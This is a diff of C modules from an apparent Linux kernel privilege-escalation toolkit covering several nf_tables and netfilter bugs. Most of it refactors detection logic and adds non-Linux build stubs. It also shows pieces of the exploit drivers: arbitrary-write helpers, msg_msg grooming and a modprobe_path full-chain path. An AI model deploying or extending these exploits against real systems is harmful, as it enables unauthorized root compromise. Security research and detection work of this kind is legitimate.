@@ -963,6 +921,33 @@ static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: setsockopt(IPT_SO_SET_REPLACE) + nfnetlink +
|
||||
* userns is Linux-only kernel surface. Stub out cleanly so the module
|
||||
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||
* dev boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: Linux-only module "
|
||||
"(xt_compat_target_to_user via SET_REPLACE) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
|
||||
static const char netfilter_xtcompat_auditd[] =
|
||||
|
||||
@@ -57,16 +57,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -108,19 +113,6 @@ static const struct kernel_range nf_tables_range = {
|
||||
* Preconditions probe
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -136,44 +128,47 @@ static bool nf_tables_loaded(void)
|
||||
|
||||
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nf_tables: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.14. Anything below predates it. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 14)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 14, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
||||
"(introduced in 5.14)\n", v.release);
|
||||
"(introduced in 5.14)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nf_tables_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nf_tables: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nf_tables: unprivileged user_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nf_tables: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
|
||||
"denied → unprivileged exploit unreachable\n");
|
||||
@@ -618,7 +613,6 @@ static long slabinfo_active(const char *slab)
|
||||
* Factored out so --full-chain can re-fire the trigger between
|
||||
* msg_msg sprays without duplicating the batch-building logic.
|
||||
* ------------------------------------------------------------------ */
|
||||
#ifdef __linux__
|
||||
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
{
|
||||
(void)cap;
|
||||
@@ -792,7 +786,6 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
|
||||
usleep(20 * 1000);
|
||||
return 0;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* The exploit body.
|
||||
@@ -807,8 +800,11 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Gate 2: already root? Nothing to escalate. */
|
||||
if (geteuid() == 0) {
|
||||
/* Gate 2: already root? Nothing to escalate. Consult ctx->host first
|
||||
* so unit tests can construct a non-root fingerprint regardless of
|
||||
* the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
@@ -825,7 +821,6 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* --- --full-chain path --------------------------------------- *
|
||||
* Resolve offsets BEFORE doing anything destructive so we can
|
||||
* refuse cleanly on hosts where we have no modprobe_path. We run
|
||||
@@ -906,7 +901,6 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
close(sock);
|
||||
return r;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger -------------- *
|
||||
* Fork: child enters userns+netns and fires the bug. If the
|
||||
@@ -1070,6 +1064,28 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: nfnetlink + nf_tables UAF + userns is
|
||||
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nf_tables: Linux-only module "
|
||||
"(nft_verdict_init UAF via nfnetlink) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nf_tables: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
|
||||
static const char nf_tables_auditd[] =
|
||||
|
||||
@@ -43,16 +43,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -99,19 +104,6 @@ static const struct kernel_range nft_fwd_dup_range = {
|
||||
* Probes.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -127,45 +119,43 @@ static bool nf_tables_loaded(void)
|
||||
|
||||
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_fwd_dup: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The offload code path only exists from 5.4 onward. Anything
|
||||
* older predates the bug. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
|
||||
"(nft offload hook introduced in 5.4)\n", v.release);
|
||||
"(nft offload hook introduced in 5.4)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_fwd_dup: unprivileged user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_fwd_dup: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel vulnerable but user_ns clone "
|
||||
"denied → unprivileged path unreachable\n");
|
||||
@@ -585,7 +575,6 @@ static int bring_lo_up(void)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
{
|
||||
size_t off = 0;
|
||||
@@ -596,7 +585,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
put_batch_end(batch, &off, (*seq)++);
|
||||
return off;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* --full-chain arb-write context. The technique:
|
||||
@@ -617,8 +605,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#define SPRAY_QUEUES_ARB 32
|
||||
|
||||
struct fwd_arb_ctx {
|
||||
@@ -721,8 +707,6 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Exploit driver.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -735,7 +719,8 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* Gate 1: already root? */
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
@@ -748,11 +733,6 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
|
||||
return pre;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->json) {
|
||||
if (ctx->full_chain) {
|
||||
fprintf(stderr, "[*] nft_fwd_dup: --full-chain — trigger + OOB-write "
|
||||
@@ -946,7 +926,6 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
|
||||
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -958,7 +937,6 @@ static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ct
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
|
||||
}
|
||||
#ifdef __linux__
|
||||
/* Best-effort drain of any leftover msg queues with IPC_PRIVATE
|
||||
* key owned by us. SysV doesn't enumerate by key, but msgctl
|
||||
* IPC_STAT walks /proc/sysvipc/msg to find them. */
|
||||
@@ -979,13 +957,38 @@ static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ct
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
#endif
|
||||
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
|
||||
* groom — all Linux-only kernel surface. Stub out so the module still
|
||||
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: Linux-only module "
|
||||
"(nf_tables HW-offload OOB) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_fwd_dup: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Embedded detection rules.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
@@ -49,16 +49,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -71,13 +76,10 @@
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <linux/netlink.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table
|
||||
@@ -103,19 +105,6 @@ static const struct kernel_range nft_payload_range = {
|
||||
* Preconditions probe
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -131,46 +120,44 @@ static bool nf_tables_loaded(void)
|
||||
|
||||
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_payload: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced with the set-payload extension in 5.4. Anything
|
||||
* below 5.4 predates the affected codepath entirely. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_payload: kernel %s predates the bug "
|
||||
"(set-payload extension landed in 5.4)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nft_payload_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_payload: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_payload: unprivileged user_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_payload: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_payload: kernel vulnerable but user_ns "
|
||||
"clone denied → unprivileged exploit unreachable\n");
|
||||
@@ -187,8 +174,6 @@ static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* userns + netns entry: become root in the new user_ns so subsequent
|
||||
* netlink writes carry CAP_NET_ADMIN over our private net_ns.
|
||||
@@ -801,8 +786,6 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Exploit body.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -814,7 +797,8 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
|
||||
"exploit code can crash the kernel\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_payload: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
@@ -838,11 +822,6 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
|
||||
}
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* --- --full-chain path: resolve offsets in parent before doing
|
||||
* anything destructive. */
|
||||
if (ctx->full_chain) {
|
||||
@@ -1074,7 +1053,6 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
|
||||
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -1092,6 +1070,32 @@ static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ct
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
|
||||
* groom — all Linux-only kernel surface. Stub out so the module still
|
||||
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_payload: Linux-only module "
|
||||
"(nf_tables regset OOB) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_payload: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Detection rule corpus.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
@@ -50,6 +50,7 @@
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -115,19 +116,6 @@ static const struct kernel_range nft_set_uaf_range = {
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#ifdef __linux__
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -148,45 +136,43 @@ static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_set_uaf: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.1 (anonymous-set support). Anything below
|
||||
* predates it — report OK (not vulnerable to *this* CVE). */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
|
||||
"(anonymous-set support landed in 5.1)\n", v.release);
|
||||
"(anonymous-set support landed in 5.1)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nft_set_uaf_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_set_uaf: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_set_uaf: unprivileged user_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_set_uaf: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_set_uaf: kernel vulnerable but user_ns clone "
|
||||
"denied → unprivileged exploit unreachable\n");
|
||||
@@ -762,7 +748,8 @@ static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ct
|
||||
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
